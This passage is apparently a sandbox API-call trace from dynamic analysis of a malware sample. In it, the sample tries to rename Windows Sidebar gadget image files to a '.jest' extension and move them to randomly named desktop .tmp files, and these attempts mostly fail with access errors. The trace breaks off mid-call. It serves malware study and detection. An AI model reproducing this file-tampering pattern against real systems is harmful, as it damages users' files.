(bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹭湰g") returned 0x4f [0126.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=80, lpWideCharStr=0x14cf24c, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png") returned 80 [0126.053] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹭湰⹧敪瑳") returned 0x54 [0126.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0126.053] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹭湰⹧敪瑳") returned 0x54 [0126.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=85, lpWideCharStr=0x144bb04, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png.jest") returned 85 [0126.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png", lpUsedDefaultChar=0x0) returned 80 [0126.053] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png", lpFilePart=0x18e6d8*="square_m.png") returned 0x4f [0126.053] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5361e9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x78, dwReserved1=0x0, cFileName="square_m.png", cAlternateFileName="")) returned 0x143ce48 [0126.053] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.054] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.054] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x398)) [0126.054] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x398)) [0126.054] GetUserDefaultLCID () returned 0x409 [0126.054] VarBstrFromR4 (in: fltIn=0x479444f6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.92") returned 0x0 [0126.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="Ý") returned 1 [0126.054] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.055] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.055] GetTickCount () returned 0x1151f63 [0126.055] GetTickCount () returned 0x1151f63 [0126.055] GetTickCount () returned 0x1151f63 [0126.055] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.055] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.055] GetTickCount () returned 0x1151f63 [0126.055] IsWindowVisible (hWnd=0x30268) returned 0 [0126.055] Sleep (dwMilliseconds=0x0) [0126.066] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.066] GetFullPathNameA (in: lpFileName="bJVsqRFshojYnY zlrgzkQbTh26wG-m_miFfiqlLwf5QP4-AcBj7ouxrZYDDh2FM7_HkAU-COkyQqtg4R-ZoIbRR_UBeXoMVU86FF.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJVsqRFshojYnY zlrgzkQbTh26wG-m_miFfiqlLwf5QP4-AcBj7ouxrZYDDh2FM7_HkAU-COkyQqtg4R-ZoIbRR_UBeXoMVU86FF.tmp", lpFilePart=0x18e708*="bJVsqRFshojYnY zlrgzkQbTh26wG-m_miFfiqlLwf5QP4-AcBj7ouxrZYDDh2FM7_HkAU-COkyQqtg4R-ZoIbRR_UBeXoMVU86FF.tmp") returned 0x8f [0126.067] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png", lpFilePart=0x18e708*="square_m.png") returned 0x4f [0126.067] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJVsqRFshojYnY zlrgzkQbTh26wG-m_miFfiqlLwf5QP4-AcBj7ouxrZYDDh2FM7_HkAU-COkyQqtg4R-ZoIbRR_UBeXoMVU86FF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bjvsqrfshojyny zlrgzkqbth26wg-m_miffiqllwf5qp4-acbj7ouxrzyddh2fm7_hkau-cokyqqtg4r-zoibrr_ubexomvu86ff.tmp")) returned 0 [0126.067] GetLastError () returned 0x5 [0126.067] GetLastError () returned 0x5 [0126.067] SetLastError (dwErrCode=0x5) [0126.067] GetLastError () returned 0x5 [0126.068] SetLastError (dwErrCode=0x5) [0126.068] GetLastError () returned 0x5 [0126.068] SetLastError (dwErrCode=0x5) [0126.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.068] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.068] GetFullPathNameA (in: lpFileName="bJVsqRFshojYnY zlrgzkQbTh26wG-m_miFfiqlLwf5QP4-AcBj7ouxrZYDDh2FM7_HkAU-COkyQqtg4R-ZoIbRR_UBeXoMVU86FF.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJVsqRFshojYnY zlrgzkQbTh26wG-m_miFfiqlLwf5QP4-AcBj7ouxrZYDDh2FM7_HkAU-COkyQqtg4R-ZoIbRR_UBeXoMVU86FF.tmp", lpFilePart=0x18e6e4*="bJVsqRFshojYnY zlrgzkQbTh26wG-m_miFfiqlLwf5QP4-AcBj7ouxrZYDDh2FM7_HkAU-COkyQqtg4R-ZoIbRR_UBeXoMVU86FF.tmp") returned 0x8f [0126.068] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJVsqRFshojYnY zlrgzkQbTh26wG-m_miFfiqlLwf5QP4-AcBj7ouxrZYDDh2FM7_HkAU-COkyQqtg4R-ZoIbRR_UBeXoMVU86FF.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x73564a62, cFileName="qRFshojYnY zlrgzkQbTh26wG-m_miFfiqlLwf5QP4-AcBj7ouxrZYDDh2FM7_HkAU-COkyQqtg4R-ZoIbRR_UBeXoMVU86FF.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.069] GetLastError () returned 0x2 [0126.069] GetLastError () returned 0x2 [0126.069] SetLastError (dwErrCode=0x2) [0126.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.069] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.069] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.070] GetLastError () returned 0x0 [0126.070] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.070] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.070] GetLastError () returned 0x0 [0126.070] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.071] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.071] GetTickCount () returned 0x1151f73 [0126.071] GetTickCount () returned 0x1151f73 [0126.071] GetTickCount () returned 0x1151f73 [0126.071] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.071] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.071] GetTickCount () returned 0x1151f73 [0126.071] IsWindowVisible (hWnd=0x30268) returned 0 [0126.071] Sleep (dwMilliseconds=0x0) [0126.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.073] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.074] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png.jest")) returned 0 [0126.074] GetLastError () returned 0x5 [0126.074] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹳湰g") returned 0x4f [0126.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.074] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹳湰g") returned 0x4f [0126.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=80, lpWideCharStr=0x14cf144, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png") returned 80 [0126.075] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹳湰⹧敪瑳") returned 0x54 [0126.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0126.075] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡彥⹳湰⹧敪瑳") returned 0x54 [0126.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=85, lpWideCharStr=0x1467bd4, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png.jest") returned 85 [0126.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png", lpUsedDefaultChar=0x0) returned 80 [0126.075] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png", lpFilePart=0x18e6d8*="square_s.png") returned 0x4f [0126.075] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ececdd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ececdd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb54466dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x78, dwReserved1=0x0, cFileName="square_s.png", cAlternateFileName="")) returned 0x143ce48 [0126.075] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.076] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.076] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3b7)) [0126.076] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3b7)) [0126.076] GetUserDefaultLCID () returned 0x409 [0126.076] VarBstrFromR4 (in: fltIn=0x479444fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.95") returned 0x0 [0126.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="À") returned 1 [0126.076] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.077] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.077] GetTickCount () returned 0x1151f83 [0126.077] GetTickCount () returned 0x1151f83 [0126.077] GetTickCount () returned 0x1151f83 [0126.077] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.077] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.077] GetTickCount () returned 0x1151f83 [0126.077] IsWindowVisible (hWnd=0x30268) returned 0 [0126.077] Sleep (dwMilliseconds=0x0) [0126.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.079] GetFullPathNameA (in: lpFileName="3Cf1L4Am8xTGKIojWW0XixsxV0Luk7sRZvDFzLYroiOna4rRXcHZ2N1hoWoAkGW_mZqH_7xKhNBxzNASO_L76HmcKK4MY5uOhzZC.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3Cf1L4Am8xTGKIojWW0XixsxV0Luk7sRZvDFzLYroiOna4rRXcHZ2N1hoWoAkGW_mZqH_7xKhNBxzNASO_L76HmcKK4MY5uOhzZC.tmp", lpFilePart=0x18e708*="3Cf1L4Am8xTGKIojWW0XixsxV0Luk7sRZvDFzLYroiOna4rRXcHZ2N1hoWoAkGW_mZqH_7xKhNBxzNASO_L76HmcKK4MY5uOhzZC.tmp") returned 0x8e [0126.079] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png", lpFilePart=0x18e708*="square_s.png") returned 0x4f [0126.079] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3Cf1L4Am8xTGKIojWW0XixsxV0Luk7sRZvDFzLYroiOna4rRXcHZ2N1hoWoAkGW_mZqH_7xKhNBxzNASO_L76HmcKK4MY5uOhzZC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3cf1l4am8xtgkiojww0xixsxv0luk7srzvdfzlyroiona4rrxchz2n1howoakgw_mzqh_7xkhnbxznaso_l76hmckk4my5uohzzc.tmp")) returned 0 [0126.079] GetLastError () returned 0x5 [0126.079] GetLastError () returned 0x5 [0126.079] SetLastError (dwErrCode=0x5) [0126.080] GetLastError () returned 0x5 [0126.080] SetLastError (dwErrCode=0x5) [0126.080] GetLastError () returned 0x5 [0126.080] SetLastError (dwErrCode=0x5) [0126.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.080] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.080] GetFullPathNameA (in: lpFileName="3Cf1L4Am8xTGKIojWW0XixsxV0Luk7sRZvDFzLYroiOna4rRXcHZ2N1hoWoAkGW_mZqH_7xKhNBxzNASO_L76HmcKK4MY5uOhzZC.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3Cf1L4Am8xTGKIojWW0XixsxV0Luk7sRZvDFzLYroiOna4rRXcHZ2N1hoWoAkGW_mZqH_7xKhNBxzNASO_L76HmcKK4MY5uOhzZC.tmp", lpFilePart=0x18e6e4*="3Cf1L4Am8xTGKIojWW0XixsxV0Luk7sRZvDFzLYroiOna4rRXcHZ2N1hoWoAkGW_mZqH_7xKhNBxzNASO_L76HmcKK4MY5uOhzZC.tmp") returned 0x8e [0126.080] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3Cf1L4Am8xTGKIojWW0XixsxV0Luk7sRZvDFzLYroiOna4rRXcHZ2N1hoWoAkGW_mZqH_7xKhNBxzNASO_L76HmcKK4MY5uOhzZC.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x31664333, cFileName="L4Am8xTGKIojWW0XixsxV0Luk7sRZvDFzLYroiOna4rRXcHZ2N1hoWoAkGW_mZqH_7xKhNBxzNASO_L76HmcKK4MY5uOhzZC.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.080] GetLastError () returned 0x2 [0126.081] GetLastError () returned 0x2 [0126.081] SetLastError (dwErrCode=0x2) [0126.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.081] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.081] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.081] GetLastError () returned 0x0 [0126.081] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.082] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.082] GetLastError () returned 0x0 [0126.082] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.082] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.083] GetLastError () returned 0x0 [0126.083] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.083] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.083] GetLastError () returned 0x0 [0126.083] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.083] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.083] GetTickCount () returned 0x1151f83 [0126.083] GetTickCount () returned 0x1151f83 [0126.083] GetTickCount () returned 0x1151f83 [0126.083] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.084] HeapFree (in: 